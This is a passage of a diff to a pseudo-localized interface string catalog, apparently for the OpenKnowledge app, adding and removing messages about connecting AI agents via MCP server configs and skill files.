ţŷƥĩńĝ ţō ćŕēàţē ōńē."],+ "KTxoDA": ["ŌƥēńĶńōŵĺēďĝē ďōēś ńōţ ŕēćōĝńĩźē ţĥĩś ēńţŕŷ. Ţũŕńĩńĝ ĩţ ōń ŕēƥĺàćēś ĩţ."],"KUjOb9": ["ŕũńńĩńĝ"],"KWL_Ih": ["ßĺōĝ ƥōśţ"],"KX1MZR": ["Ŷōũŕ ŕēƥōśĩţōŕĩēś"],@@ -1629,6 +1673,7 @@"KsAPaB": ["Ţĥĩś ƀŕàńćĥ ĩś ćĥēćķēď ōũţ ĩń:"],"KtACeE": ["Ďēƒàũĺţ: <0>", ["0"], "</0>"],"KujtjC": ["Ƒĩńď"],+ "Kuw5NN": ["Ĥōŵ ţō śēţ ũƥ ", ["rowLabel"]],"KvwJv8": ["Śōḿē ƒĩĺēś àŕē ńōţ ĺĩśţēď — ţĥē ŵōŕķĩńĝ ţŕēē ĥàś ţōō ḿàńŷ ćĥàńĝēś."],"Kx881F": ["Ŕēśţōŕēď ", ["0"], "."],"L-rMC9": ["Ŕēśēţ ţō ďēƒàũĺţ"],@@ -1690,7 +1735,6 @@],"LaskKp": ["Śēńď ţō ćĥàţ (", ["0"], ")"],"Lbl6KA": ["Ćōũĺďń'ţ ĩńśţàĺĺ ƒŕōḿ ", ["0"], ": ", ["1"]],- "LbmLyU": ["Ćàń'ţ śàƒēĺŷ ēďĩţ ţĥĩś ţōōĺ'ś ćōńƒĩĝ"],"LdABLa": ["Ćōũĺď ńōţ ōƥēń ", ["target"], ". Ţŕŷ ōƥēńĩńĝ ĩţ ḿàńũàĺĺŷ."],"LdKIHS": ["Ďŕàƒţ à śƥēć"],"LeGeTf": ["ŌƥēńĶńōŵĺēďĝē ōń ĜĩţĤũƀ"],@@ -1717,6 +1761,7 @@"Lrsl_h": ["Ḿĩśśĩńĝ ƒĩĺē ", ["identity"], ". Ĝō ţō ŕēƒēŕēńćē."],"LtI9AS": ["Ōŵńēŕ"],"LtSYdi": ["Ŕēvēàĺ ĩń Ƒĩńďēŕ"],+ "LtiJ5c": ["ƤŕōĴēćţ śķĩĺĺ"],"LuoJWu": [["truncatedShownCount",@@ -1836,9 +1881,6 @@"NIWAux": ["Ńō ďōćś ŕēĝĩśţēŕēď ũńďēŕ #", ["tagDocsName"], "."],"NJyQi_": ["ßŕàńćĥ ", ["shareBranch"], " ńō ĺōńĝēŕ ēxĩśţś ōń ţĥē ŕēḿōţē."],"NKkZXl": ["Ĩńĩţĩàĺĩźē àńď ōƥēń"],- "NNJsn7": [- "Ōńē ḿōŕē śţēƥ: ēńàƀĺē ĩţ ĩń Ćũŕśōŕ → Śēţţĩńĝś → Ţōōĺś & ḾĆƤ (Ćũŕśōŕ ĺēàvēś ƥŕōĴēćţ śēŕvēŕś ōƒƒ ũńţĩĺ ŷōũ ţũŕń ţĥēḿ ōń)."- ],"NOHyEE": ["Ŕēţŕŷ ƥũśĥ"],"NORKZU": ["Ƥàţţēŕń ŵàŕńĩńĝś: ", ["summary"]],"NQ8llq": ["Àďď ĩţēḿ"],@@ -1898,7 +1940,6 @@"O0Z2Xr": ["Ōũţĝōĩńĝ"],"O2UpM1": ["ßŕōŵśē"],"O3oNi5": ["Ēḿàĩĺ"],- "O4PnDd": ["ÀĨ ţōōĺ ḿàńàĝēḿēńţ ĩś ōńĺŷ àvàĩĺàƀĺē ĩń ţĥē ŌƥēńĶńōŵĺēďĝē ďēśķţōƥ àƥƥ."],"O6H89R": ["Ŕēśōĺvēď"],"O6yEPk": ["Ćŕēàţē à ńēŵ ŌƥēńĶńōŵĺēďĝē ƥŕōĴēćţ ĩń ţĥē ƒōĺďēŕ ōƒ ŷōũŕ ćĥōĩćē."],"O7_W_a": ["Ōƥēń ŵĩţĥ ÀĨ"],@@ -1961,7 +2002,6 @@"OlFVNr": ["Àśķ ÀĨ Àƀōũţ Śēĺēćţĩōń"],"Oo_WWc": ["Ńō ƥàĝēś ƒōũńď"],"Oos8fo": ["Ćōƥŷ ćōḿḿàńď"],- "OplnBG": ["Ḿàńàĝĩńĝ ÀĨ ţōōĺś ĩś ũńàvàĩĺàƀĺē ĩń ţĥĩś ƀũĩĺď."],"OqqecQ": ["30 śēćōńďś"],"OsSaYm": ["Ćĺōńē ƒàĩĺēď: ", ["title"]],"OuQezS": ["Àƥƥĺĩēś ŵĥēń ŷōũ ƥĩćķ ţĥĩś ćōńvēŕśàţĩōń ƀàćķ ũƥ"],@@ -1989,6 +2029,11 @@"P6gXB-": ["Ŕēƥĺàćē ", ["keyName"]],"P6lAT3": ["Ƒōĺďēŕ ţàŕĝēţ: ", ["linkTitle"], ". Ćĺĩćķ ţō ōƥēń ţĥē ōvēŕvĩēŵ."],"P8AnMN": ["Ćĥēćķĩńĝ ƒōŕ Śĺĩďēv"],+ "P9rQN2": [+ "Ţĥē ţēŕḿĩńàĺ àńď ďēśķţōƥ ŕōŵś ƒōŕ ",+ ["label"],+ " śĥàŕē ōńē śēţũƥ, śō ćōńńēćţĩńĝ ēĩţĥēŕ ćōńńēćţś ƀōţĥ."+ ],"PB4upl": ["Ƒĩńď ƥŕēvĩōũś ḿàţćĥ"],"PBQwGb": ["Śēàŕćĥ ƒĩĺēś, ćōḿḿàńďś, ƥŕōĴēćţś, àńď ÀĨ ĥàńďōƒƒ àćţĩōńś. Ţĥē Ķ ćĥōŕď àďďś à ĺĩńķ ĩńśţēàď ŵĥēń ţēxţ ĩś śēĺēćţēď ĩń ţĥē vĩśũàĺ ēďĩţōŕ; ţĥē Ƥ ćĥōŕď àĺŵàŷś ōƥēńś ţĥē ƥàĺēţţē."@@ -2084,6 +2129,7 @@"QDZbvN": [["diffDays"], "ď àĝō"],"QGWzup": ["Ĺōàďĩńĝ ŌƥēńĶńōŵĺēďĝē śķĩĺĺś"],"QHCx0c": ["ßũĝ ŕēƥōŕţ ĥĩśţōŕŷ"],+ "QHcLEN": ["Ćōńńēćţēď"],"QIrBIx": ["Ēxƥàńď àĺĺ ƒĩĺēś"],"QIzioS": [["agentName"], " ďōēśń'ţ àććēƥţ ĩḿàĝē àţţàćĥḿēńţś."],"QKgePK": ["Àĺĩĝńēď ", ["editor"], " ţō ţĥē śōũŕćē (ĩţś ƀŷţēś àŕē ƀàćķēď ũƥ)"],@@ -2152,6 +2198,7 @@"RD6H9q": ["Ōƥēń Ķńōŵĺēďĝē ŕēŵŕĩţēś ţĥēśē ĩńďēx.ḿď ƒĩĺēś àś ďōćũḿēńţś ćĥàńĝē, śō ḿàńũàĺ ēďĩţś ţō ţĥēḿ àŕē ŕēƥĺàćēď."],+ "RD8cCw": ["Ḿàńàĝĩńĝ àĝēńţ ćōńńēćţĩōńś ĩś ũńàvàĩĺàƀĺē ĩń ţĥĩś ƀũĩĺď."],"RDjuBN": ["Śēţũƥ"],"RDrXh4": ["Ćōńƒĩĝũŕē ũśēŕ, ƥŕōĴēćţ, àńď ĩńţēĝŕàţĩōń śēţţĩńĝś."],"REkvLz": [@@ -2185,6 +2232,7 @@"RSqaSd": ["ƤŕōĴēćţ ŕōōţ"],"RVZJWQ": ["Śēàŕćĥ ƥŕōĴēćţś..."],"RXEbZy": ["Ĩń àƥƥ"],+ "RXYvxn": ["Ţĥĩś ōƥţĩōń ćàńńōţ ƀē ćĥàńĝēď àũţōḿàţĩćàĺĺŷ."],"RY6Bq1": ["Ōƥēń śĥàŕēď ", ["targetNoun"]],"RZXTlY": ["Àũţō-ƒĩx (", ["count"], ")"],"R_U_A4": ["Àďď ƒĩĺē ōŕ ƒōĺďēŕ ƥàţţēŕń, ē.ĝ. ĝũĩďēś/**/*"],@@ -2229,6 +2277,9 @@"S33tz3": ["Ńōţ ćōńńēćţēď"],"S3qu11": ["Ĩţ ŵàś à ţŕĩàĺ ōŕ ōńē-ōƒƒ ƥŕōĴēćţ"],"S48xcO": ["ƥēńďĩńĝ"],+ "S6SbxA": [+ "Ŕēƥĺàćēś ţĥē ēxĩśţĩńĝ \"ōƥēń-ķńōŵĺēďĝē\" ēńţŕŷ ĩń ţĥĩś ƒĩĺē. Ōţĥēŕ śēŕvēŕś ĩń ţĥē ƒĩĺē àŕē ĺēƒţ àĺōńē."+ ],"S6eHlw": ["Ōƥēń à ƥŕōĴēćţ ƒĩŕśţ."],"S6l5dv": ["Ćōũĺď ńōţ śţàŕţ ćŕēàţĩńĝ à ńēŵ ĩţēḿ"],"S9Vnum": ["Ŕēḿōvē ", ["patternText"]],@@ -2461,7 +2512,6 @@"VFQXPl": ["Ēxţēŕńàĺ ĺĩńķ ƥŕēvĩēŵś śĥōŵ à ćàŕď ŵĩţĥ ţĥē śĩţē ńàḿē, ƥàĝē ţĩţĺē, àńď ďēśćŕĩƥţĩōń ŵĥēń ŷōũ ĥōvēŕ à ĺĩńķ."],- "VIwCaD": ["Ēńţŕŷ"],"VJaBca": ["Ćĥōōśē à śķĩĺĺ ƒōĺďēŕ"],"VL6VsE": ["Àććēƥţ ćũŕŕēńţ"],"VM7H66": ["Ţĥĩś ƒĩĺē ĩś ƀĩńàŕŷ àńď ćàń'ţ ƀē śĥōŵń àś ţēxţ."],@@ -2524,6 +2574,7 @@"W9NSe0": ["Ćĥēćķĩńĝ ĺĩńķś"],"W9_Bub": ["Ĺōćàĺ ćĥàńĝēś ōvēŕĺàƥ ŵĩţĥ ĩńćōḿĩńĝ śŷńć"],"WBNpt9": ["Ćōũĺďń’ţ ŕēàď ţĥĩś ţĥēḿē (", ["0"], ")"],+ "WEYdDv": ["Ŕēćōḿḿēńďēď"],"WFEbV1": ["Ƒĺàĝ ćōḿḿōń ḿàŕķďōŵń ĩśśũēś ĩń ţĥē ēďĩţōŕ. Ƥōŵēŕēď ƀŷ <0>ḿàŕķďōŵńĺĩńţ<1/></0>."],"WG3MZ4": [["0"], " śķĩĺĺś śēĺēćţēď"],"WGMoTY": ["ßũĝś, ćŕàśĥēś, ōŕ ĩţ ƒēĺţ ũńŕēĺĩàƀĺē"],@@ -2595,19 +2646,19 @@"XBBZnv": ["Ĺĩńķ ţàŕĝēţ \"", ["shown"], "\" ďōēś ńōţ ŕēśōĺvē ţō àń ēxĩśţĩńĝ ďōćũḿēńţ."],"XBgr2S": ["Ćōƥŷ ĩń"],"XDzAnp": ["Ōƥēńś ĩń à ńēŵ ţàƀ"],- "XEfNPL": [- "Ĩńśţàĺĺēď — ōķ ĩś àvàĩĺàƀĺē ĩń ēxţēŕńàĺ ţēŕḿĩńàĺś. Ũńćĥēćķĩńĝ ŕēḿōvēś ĩţ; ŷōũŕ ÀĨ ţōōĺś ķēēƥ ŵōŕķĩńĝ."- ],"XF1kgP": ["Ēvēŕŷţĥĩńĝ ƒŕōḿ ", ["source"], " ĩś àĺŕēàďŷ ũƥ ţō ďàţē"],- "XFpEgc": [- "Ćĥōōśē ŵĥĩćĥ àĝēńţś àƥƥēàŕ ĩń àĝēńţ ḿēńũś àćŕōśś ţĥē àƥƥ, śũćĥ àś Àśķ ÀĨ, Ōƥēń ŵĩţĥ ÀĨ, àńď ţĥē + ńēŵ ćĥàţ ƀũţţōń. Ţũŕń àń àĝēńţ ōƒƒ ţō ĥĩďē ĩţ ƒŕōḿ àĺĺ ōƒ ţĥēḿ."- ],"XGKy1z": ["Ĩḿàĝē ćōũĺďń'ţ ƀē ďĩśƥĺàŷēď"],"XH30C4": ["ďōćũḿēńţ"],"XIltnd": ["À śķĩĺĺ ńàḿēď \"", ["trimmed"], "\" àĺŕēàďŷ ēxĩśţś ĥēŕē"],"XJOV1Y": ["Àćţĩvĩţŷ"],"XK5cbh": ["Ţŕàvēŕśē ŌƥēńĶńōŵĺēďĝē ńàvĩĝàţĩōń ĥĩśţōŕŷ ƒōŕŵàŕď."],"XNBGZw": ["Ḿēśśàĝē ńōţ śēńţ: ", ["0"]],+ "XNdXMR": [+ ["dependent"],+ " ńēēďś ",+ ["prerequisite"],+ ", àńď ţĥĩś àĝēńţ ĥàś ńō ƒĩĺē ōƒ ţĥàţ ķĩńď ōń ţĥĩś ḿàćĥĩńē ŷēţ. Ōƥēń ţĥē àĝēńţ ōńćē, ţĥēń ţŕŷ àĝàĩń."+ ],"XPJ0sN": [["settingsDescriptorLabel"], " ƥŕōƥēŕţĩēś"],"XPqe3B": ["Ćŕēàţē ńēŵ ţàĝ #", ["tagValue"]],"XRuL0i": ["Ćŕēàţē ƥàĝē"],@@ -2661,6 +2712,12 @@"Xp7Kq4": ["Àńōţĥēŕ śŷńć ōƥēŕàţĩōń ĩś ĩń ƥŕōĝŕēśś. Ţŕŷ àĝàĩń ĩń à ḿōḿēńţ."],"Xp94R1": ["Ţŕŷ ōńē ḿōŕē ţĩḿē"],"XpIZmv": ["Ƒēńćēď ćōďē ƀĺōćķ ŵĩţĥ ḿōńōśƥàćē ţēxţ."],+ "XrPvMT": [+ ["dependent"],+ " ńēēďś ",+ ["prerequisite"],+ ", àńď ŌƥēńĶńōŵĺēďĝē ćàńńōţ śàƒēĺŷ ŕēƥĺàćē ţĥàţ ēńţŕŷ ĩń ţĥĩś ƒĩĺē'ś ƒōŕḿàţ."+ ],"Xs1kjx": ["Ćĥēćķ ƒōŕ ũƥďàţēś ēvēŕŷ"],"Xs7IcT": ["Ćōũĺďń'ţ ŕēàćĥ ", ["displayName"], " — ţŕŷ àĝàĩń?"],"XszXjc": ["Ŕēńàḿēď ţō ", ["0"]],@@ -2680,6 +2737,7 @@["pickedRelative"],"</1> ƀēćàũśē ĩţ ćōńţàĩńś à <2>.ĝĩţ</2> ƒōĺďēŕ (ōńē .ōķ/ ƥēŕ ĝĩţ ŕēƥō). <3>Ćōńţēńţ ďĩŕēćţōŕŷ</3> ďēƒàũĺţś ţō <4>.</4> (ţĥē ŵĥōĺē ŕēƥō); ţŷƥē à śũƀ-ƒōĺďēŕ ţō ńàŕŕōŵ ĩţ."],+ "Y1wa2r": ["Ŕēḿōvē ŌƥēńĶńōŵĺēďĝē?"],"Y2tU6I": ["Ďēĺēţē ", ["0"]],"Y5la_5": ["Ĩńśţàĺĺ ĩńţō"],"Y6PKd1": ["Ŕēḿōvē ", ["name"], " ƒŕōḿ ŕēćēńţ ƥŕōĴēćţś"],@@ -2803,9 +2861,6 @@"ZWwYwM": ["ßàśē ƀŕàńćĥ"],"ZWxfrc": ["ćĺēàŕēď ƒōĺďēŕ ƥŕōƥēŕţĩēś"],"ZWyHmq": ["Ţĥĩś ƥŕōĴēćţ"],- "ZYtq3m": [- "Ćōńńēćţ ţĥē ÀĨ ţōōĺś ŷōũ ũśē ţō ţĥĩś śƥēćĩƒĩć ƥŕōĴēćţ. Ţĥēśē ƒĩĺēś ĺĩvē ĩń ţĥē ƥŕōĴēćţ ƒōĺďēŕ, śō àńŷōńē ŵĥō ōƥēńś ĩţ ĝēţś ţĥē śàḿē śēţũƥ."- ],"Z_nNa2": ["Ńàḿē ŷōũŕ ţĥēḿē"],"ZatAO_": ["Ƒàĩĺēď ţō ēńàƀĺē ĺĩńķ ƥŕēvĩēŵś — ", ["detail"]],"Zf0w-R": [@@ -2851,7 +2906,6 @@["label"]," ũśēś ĩńśţēàď ōƒ ţĥē ƥĺũĝĩń'ś — ĩţ śţōƥś ţŕàćķĩńĝ ƥĺũĝĩń ũƥďàţēś."],- "_5qBNl": ["ÀĨ ţōōĺś & ĆĹĨ"],"_6FVBz": ["ĵũḿƥ ţō ţàƀ 1-8"],"_7UQ7y": ["Ŵĥōĺē ŵōŕď"],"_8quCH": ["Ƒŕōḿ ţēḿƥĺàţē"],@@ -2864,6 +2918,7 @@["currentLabel"],"</1>."],+ "_9rYSZ": ["ŕēƥàĩŕēď ḾĆƤ ĩńţēĝŕàţĩōń ƒōŕ ", ["names"]],"_Bix3-": ["Ōććũŕŕēńćēś ōƒ ", ["localizedFirstMessage"]],"_DwR-n": ["Ćŕēàţĩńĝ…"],"_G7A92": ["Ḿàĩńţàĩń ĩńďēx.ḿď"],@@ -2875,7 +2930,6 @@"_JOGC0": ["Śēńď ƒēēďƀàćķ…"],"_LczaQ": ["Ďēńĩēď — ", ["optionName"]],"_NWEid": ["Śēàŕćĥ śćĥēḿà ƒĩĺēś ƀŷ ƥàţĥ"],- "_NX6gG": ["Ḿàńàĝĩńĝ ƥŕōĴēćţ ÀĨ ţōōĺś ĩś ũńàvàĩĺàƀĺē ĩń ţĥĩś ƀũĩĺď."],"_O7dJS": ["Ďĩƒƒēŕēńţ vēŕśĩōń ĥēŕē — ćĺĩćķ ţō ćōḿƥàŕē àńď ŕēśōĺvē"],"_PACVa": ["Ŕēĺēàśē ńōţēś"],"_PBJRl": ["Àďď àţ ĺēàśţ ōńē ĺēţţēŕ ōŕ ńũḿƀēŕ."],@@ -2903,6 +2957,9 @@"_ci9Bj": ["Śēŕvēŕ ŕēţũŕńēď àń ĩńćōḿƥĺēţē ƒōĺďēŕ ŕēśƥōńśē."],"_eguJc": ["Ũƥĺōàďĩńĝ"],"_fQGOp": ["Śƥàćēś àŕēń'ţ àĺĺōŵēď ĩń ţĥē ƥàţĥ"],+ "_fZSIY": [+ "ŌƥēńĶńōŵĺēďĝē ĺēƒţ ţĥĩś ƒĩĺē àĺōńē ƀēćàũśē ĩţ ćōũĺď ńōţ ƥàŕśē ĩţ śàƒēĺŷ. Ƒĩx ţĥē ƒĩĺē ƀŷ ĥàńď, ţĥēń ţŕŷ àĝàĩń."+ ],"_gO_m8": ["Ŵàĩţĩńĝ ƒōŕ ŷōũŕ àƥƥŕōvàĺ"],"_gkGSK": ["ďēĺēţēď ţēḿƥĺàţē"],"_pY_Vq": ["Ţĥē ŕēƥōśĩţōŕŷ ŵàś ḿōvēď, ŕēńàḿēď, ōŕ ďēĺēţēď."],@@ -2910,6 +2967,7 @@"_rP3HI": [["minutes"], "ḿ àĝō"],"_tekeB": ["ũƥďàţēď ƒōĺďēŕ ƥŕōƥēŕţĩēś"],"_tjopj": ["Ƥàśţē ďũƥĺĩćàţē"],+ "_uxBz5": ["Àďď ḾĆƤ & śķĩĺĺ ƒōŕ ", ["rowLabel"]],"_yB-24": ["ēvēŕŷţĥĩńĝ ũńďēŕ àńŷ ", ["0"], "/ ƒōĺďēŕ"],"a-cKXz": ["Śēĺēćţ àĺĺ śōũŕćē"],"a3LDKx": ["Śēćũŕĩţŷ"],@@ -3023,6 +3081,7 @@"blFttG": ["Śēàŕćĥ ƥŕōĴēćţś"],"bmC18N": ["Ćĺēàŕĩńĝ ĺōćàĺ ćōĺĺàƀōŕàţĩōń ďàţà ƒōŕ \"", ["docName"], "\" ƀēƒōŕē ŕēćōńńēćţĩńĝ."],"bnOTEz": ["Ŕēţŕĩēvĩńĝ…"],+ "bn_MDX": ["Ŵĥŷ ţĥĩś ńēēďś àţţēńţĩōń"],"bpMVIA": ["Ĺĩńķ ţàŕĝēţ \"", ["shown"], "\" ćōũĺď ńōţ ƀē ŕēśōĺvēď ţō à ƥŕōĴēćţ-ĺōćàĺ ţàŕĝēţ."],"bpytj4": ["Ḿōvē ţō ", ["0"]],"brCtGB": ["Ĥĩśţōŕŷ ũńàvàĩĺàƀĺē"],@@ -3147,6 +3206,7 @@"d3dX3w": ["Ĺōōķ Ũƥ \"", ["word"], "\""],"d5rK4X": [["chars", "plural", { "one": ["ćĥàŕ"], "other": ["ćĥàŕś"] }]],"d6qW27": [["agentName"], " ŕēƥōŕţēď: ", ["headline"]],+ "dCforW": ["Ŵŕĩţĩńĝ ţĥĩś ƒĩĺē ƒàĩĺēď. Ćĥēćķ ţĥē ŌƥēńĶńōŵĺēďĝē ĺōĝ ƒōŕ ţĥē ŕēàśōń."],"dD7NPy": ["Ōũţĺĩńē"],"dDpCOp": ["Ŕēńàḿē śũććēēďēď ƀũţ ţĥē śĩďēƀàŕ ḿàŷ ƀē ōũţ ōƒ ďàţē — ŕēƒŕēśĥ ţō ŕēśŷńć"],"dEgA5A": ["Ćàńćēĺ"],@@ -3158,6 +3218,7 @@["currentBaseLabel"],"</1>, ĩń ĩţś ōŵń ŵōŕķţŕēē ũńďēŕ <2>.ōķ/ŵōŕķţŕēēś/</2>."],+ "dGcsnU": ["Ŕēḿōvē ƒōŕ ƀōţĥ"],"dIYSqk": ["ŕēḿōţē"],"dJw2_7": ["Śàvēď ŵĩţĥ ţĥē ƥŕōĴēćţ ƒōŕ ŷōũŕ ţēàḿ."],"dMsx3p": ["Ĥōḿē ƥàĝē àńď ńàvĩĝàţĩōń ĥũƀ."],@@ -3172,6 +3233,9 @@"dVaXnv": ["Ćōńţēńţ ŕũĺēś ńōţ ŷēţ ĺōàďēď — ţŕŷ àĝàĩń ĩń à ḿōḿēńţ"],"dXCi3J": ["Śōḿēţĥĩńĝ ƀŕōķē"],"dXOolp": ["Śŷńćĩńĝ ŷōũŕ ćĥàńĝēś"],+ "da7Yfw": [+ "Ţĥĩś ďēĺēţēś ţĥē ḾĆƤ śēŕvēŕ ēńţŕĩēś àńď śķĩĺĺ ƒĩĺēś ĺĩśţēď ƀēĺōŵ. Ţĥē àĝēńţ ŵĩĺĺ ĺōśē àććēśś ţō ŷōũŕ ďōćũḿēńţś ũńţĩĺ ŷōũ àďď ĩţ àĝàĩń."+ ],"darW93": [["pageCount",@@ -3261,6 +3325,7 @@],"eh3QBq": ["Ēxćàĺĩďŕàŵ ƀōàŕď ƒàĩĺēď ţō ĺōàď."],"eiUA4k": [["count", "plural", { "one": ["#", " ćōḿḿēńţ"], "other": ["#", " ćōḿḿēńţś"] }]],+ "ejiJeW": ["ŌƥēńĶńōŵĺēďĝē ďĩśćōvēŕŷ śķĩĺĺ"],"ekSPiP": [["0"], " ŵàś àĺŕēàďŷ ďēĺēţēď."],"el2KyL": ["Śĺĩďēv ƒōũńď ĩń ţĥĩś ƥŕōĴēćţ. Ďēćķś ŵĩĺĺ ũśē ţĥē ƥŕōĴēćţ'ś vēŕśĩōń."],"emMrXQ": ["Śēŕvēŕ ŕēţũŕńēď à ḿàĺƒōŕḿēď ďũƥĺĩćàţē ŕēśƥōńśē."],@@ -3276,6 +3341,7 @@"euc6Ns": ["Ďũƥĺĩćàţē"],"evs0iw": ["Ţàĝś ḿàţćĥĩńĝ \"", ["tagListQuery"], "\""],"ewSbS_": ["Śĥēĺĺ śēśśĩōń"],+ "ewlFNL": ["ḾĆƤ àũţō-ŕēƥàĩŕ ƒàĩĺēď ƒōŕ ", ["failures"]],"ezUmoU": ["Àĺĺōŵēď ēĺēḿēńţ vàĺũēś (ēḿƥţŷ = àńŷ)"],"f-k37b": ["Ĩńśţàĺĺ ţĥĩś śķĩĺĺ"],"f1-q9m": ["ķēēƥś ţĥē śķĩĺĺś"],@@ -3326,6 +3392,23 @@"fj5YiP": ["Ďōŵńĺōàďś à ƒŕēśĥ ćōƥŷ ƒŕōḿ ĜĩţĤũƀ."],"fnlBN4": ["Àũţō-àƥƥŕōvē śēţţĩńĝś ńōţ ŷēţ ĺōàďēď — ţŕŷ àĝàĩń ĩń à ḿōḿēńţ"],"fo6CCk": ["ƥàńē ", ["0"]],+ "followup.approve-once": [+ "Ōńē ḿōŕē śţēƥ: ŕũń ",+ ["agent"],+ " ĩń ţĥĩś ƥŕōĴēćţ àńď àƥƥŕōvē ŌƥēńĶńōŵĺēďĝē ōńćē."+ ],+ "followup.enable-manually": [+ "Ōńē ḿōŕē śţēƥ: ēńàƀĺē ĩţ ĩń ",+ ["agent"],+ " → Śēţţĩńĝś → Ţōōĺś & ḾĆƤ (",+ ["agent"],+ " ĺēàvēś ƥŕōĴēćţ śēŕvēŕś ōƒƒ ũńţĩĺ ŷōũ ţũŕń ţĥēḿ ōń)."+ ],+ "followup.trust-gated": [+ "Ćōńńēćţś àũţōḿàţĩćàĺĺŷ ţĥē ńēxţ ţĩḿē ŷōũ ōƥēń ţĥĩś ƥŕōĴēćţ ĩń à ţŕũśţēď ",+ ["agent"],+ " śēśśĩōń."+ ],"fqSfXY": ["Ŕēƥĺàćē"],"ft-BOm": ["Ŕēƥōŕţ à ƀũĝ…"],"fuJZKk": ["Śēàŕćĥ ƀŕàńćĥēś"],@@ -3333,6 +3416,15 @@"fwhX-N": ["Ĩńďēńţ ōŕ ōũţďēńţ śōũŕćē"],"fwrPh4": ["Ƥĺēàśē ēńţēŕ à vàĺĩď ēḿàĩĺ."],"fxbCNQ": ["Śŷńćēď. Ţĥē ĺĩńķ ĩś ũƥ ţō ďàţē."],+ "fybwfg": [+ "Ţĥĩś śēţũƥ ĩś śĥàŕēď ŵĩţĥ ",+ ["peers"],+ " ţĥŕōũĝĥ <0>",+ ["path"],+ "</0>. Ŕēḿōvĩńĝ ĩţ ĥēŕē ŕēḿōvēś ĩţ ƒōŕ ",+ ["peers"],+ " ţōō."+ ],"g-dkjJ": ["Ĺōćàĺ ƒĩĺē ďēţàĩĺś àŕēń'ţ àvàĩĺàƀĺē ŷēţ."],"g12y1g": ["Ĩńvàĺĩď ŶÀḾĹ"],"g1ZTh_": [@@ -3353,7 +3445,6 @@}]],- "g4WlQK": ["ƤŕōĴēćţ ÀĨ ţōōĺ ḿàńàĝēḿēńţ ĩś ōńĺŷ àvàĩĺàƀĺē ĩń ţĥē ŌƥēńĶńōŵĺēďĝē ďēśķţōƥ àƥƥ."],"g4XBm0": ["Śḿàĺĺ śēćţĩōń ĥēàďĩńĝ."],"g4e0hS": ["Àśķ ", ["agentName"]],"g58Kwy": [@@ -3415,6 +3506,7 @@"gfb-CM": ["Ćōũĺď ńōţ ƒēţćĥ ƀŕàńćĥ — śĩĝń ĩń ţō ĜĩţĤũƀ àńď ţŕŷ àĝàĩń."],"gfdqcY": ["Ćōũĺďń'ţ àƥƥĺŷ ţĥē ćĥàńĝē: ", ["0"]],"gfohmY": ["Ćōńńēćţ ţōōĺś"],+ "ggMMa7": ["ƤŕōĴēćţ ḾĆƤ śēŕvēŕ"],"ggm6JX": ["Ţĥĩś ƥàĝē ďōēśń'ţ ēxĩśţ ŷēţ. Ōƥēń ĩţ ţō ćŕēàţē ţĥē ƥàĝē ĩń ţĥē ēďĩţōŕ àńď ćōĺĺàƥśē ţĥē ĝŕàƥĥ."],@@ -3433,6 +3525,40 @@"gpbKxw": ["Ĺĩńķ vàĺĩďàţĩōń ĩś ũńàvàĩĺàƀĺē."],"gqk-3R": ["Ḿōvēď ", ["0"], " ţō ", ["destination"], "."],"gtEbeW": ["Ĥĩĝĥĺĩĝĥţ"],+ "guidance.mcp.managed-file": [+ "Ŵŕĩţēś à śḿàĺĺ ƀŕĩďĝē ƒĩĺē ",+ ["agent"],+ " ĺōàďś ƒŕōḿ ţĥĩś ƥŕōĴēćţ ţō ŕēàćĥ ŌƥēńĶńōŵĺēďĝē."+ ],+ "guidance.mcp.project-config": [+ "Àďďś ŌƥēńĶńōŵĺēďĝē ţō ţĥē ḾĆƤ ćōńƒĩĝ ",+ ["agent"],+ " ŕēàďś ĩń ţĥĩś ƥŕōĴēćţ, śō ĩţ ćàń ŕēàď, śēàŕćĥ, àńď ēďĩţ ţĥēśē ďōćũḿēńţś."+ ],+ "guidance.mcp.session-injection": [+ ["agent"],+ " ĝēţś ŌƥēńĶńōŵĺēďĝē'ś ţōōĺś ēàćĥ ţĩḿē ŌƥēńĶńōŵĺēďĝē ĺàũńćĥēś ĩţ; ńōţĥĩńĝ ĩś ŵŕĩţţēń ţō ĩţś ćōńƒĩĝ."+ ],+ "guidance.mcp.user-config": [+ "Àďďś ŌƥēńĶńōŵĺēďĝē ţō ",+ ["agent"],+ "'ś ōŵń ḾĆƤ ćōńƒĩĝ, śō ēvēŕŷ ƥŕōĴēćţ ōń ţĥĩś ḿàćĥĩńē ĩś ŕēàćĥàƀĺē."+ ],+ "guidance.skill.central-store": [+ "Ƥũţś ţĥē ŌƥēńĶńōŵĺēďĝē śķĩĺĺ ĩń ţĥē ćēńţŕàĺ śķĩĺĺś śţōŕē ",+ ["agent"],+ " ŕēàďś."+ ],+ "guidance.skill.project": [+ "Ƥũţś ţĥē ŌƥēńĶńōŵĺēďĝē śķĩĺĺ ĩń ",+ ["agent"],+ "'ś śķĩĺĺś ƒōĺďēŕ ƒōŕ ţĥĩś ƥŕōĴēćţ, śō ĩţś ēďĩţś śţàŷ àţţŕĩƀũţēď."+ ],+ "guidance.skill.user": [+ "Ƥũţś ţĥē ŌƥēńĶńōŵĺēďĝē ďĩśćōvēŕŷ śķĩĺĺ ĩń ",+ ["agent"],+ "'ś ḿàćĥĩńē-ŵĩďē śķĩĺĺś ƒōĺďēŕ, śō ĩţ ćàń ƒĩńď ŌƥēńĶńōŵĺēďĝē ĩń àńŷ ƥŕōĴēćţ."+ ],"gv5w9J": ["ōŵńēŕ/ŕēƥō, à ĝĩţ ŨŔĹ, ōŕ à ĺōćàĺ ƥàţĥ"],"gvApb7": ["Ţũŕń ţĥē ţĥĩńĝś ŷōũ ŕēàď ĩńţō ćĺēàŕ, ţŕũśţēď àŕţĩćĺēś. Śàvē à śōũŕćē, ƒĩĝũŕē ōũţ ŵĥàţ ĩţ ḿēàńś, ţĥēń ķēēƥ ţĥē ƒĩńàĺ vēŕśĩōń śō ŷōũ ćàń ŕēĺŷ ōń ĩţ ĺàţēŕ."@@ -3445,6 +3571,14 @@"h06R3C": ["Ńō ƥàĝēś àŕē ḿĩśśĩńĝ ōũţĝōĩńĝ ĝŕàƥĥ ĺĩńķś."],"h16FyT": ["Ĺĩśţś"],"h2N-1n": ["Ĩńśţàĺĺēď ĩń ", ["0"]],+ "h2QPvj": [+ ["dependent"],+ " ńēēďś ",+ ["prerequisite"],+ ", àńď ŌƥēńĶńōŵĺēďĝē ďōēś ńōţ ŕēćōĝńĩźē ţĥàţ ēńţŕŷ. Ţĩćķ ",+ ["prerequisite"],+ " ţō ŕēƥĺàćē ĩţ, ţĥēń śàvē àĝàĩń."+ 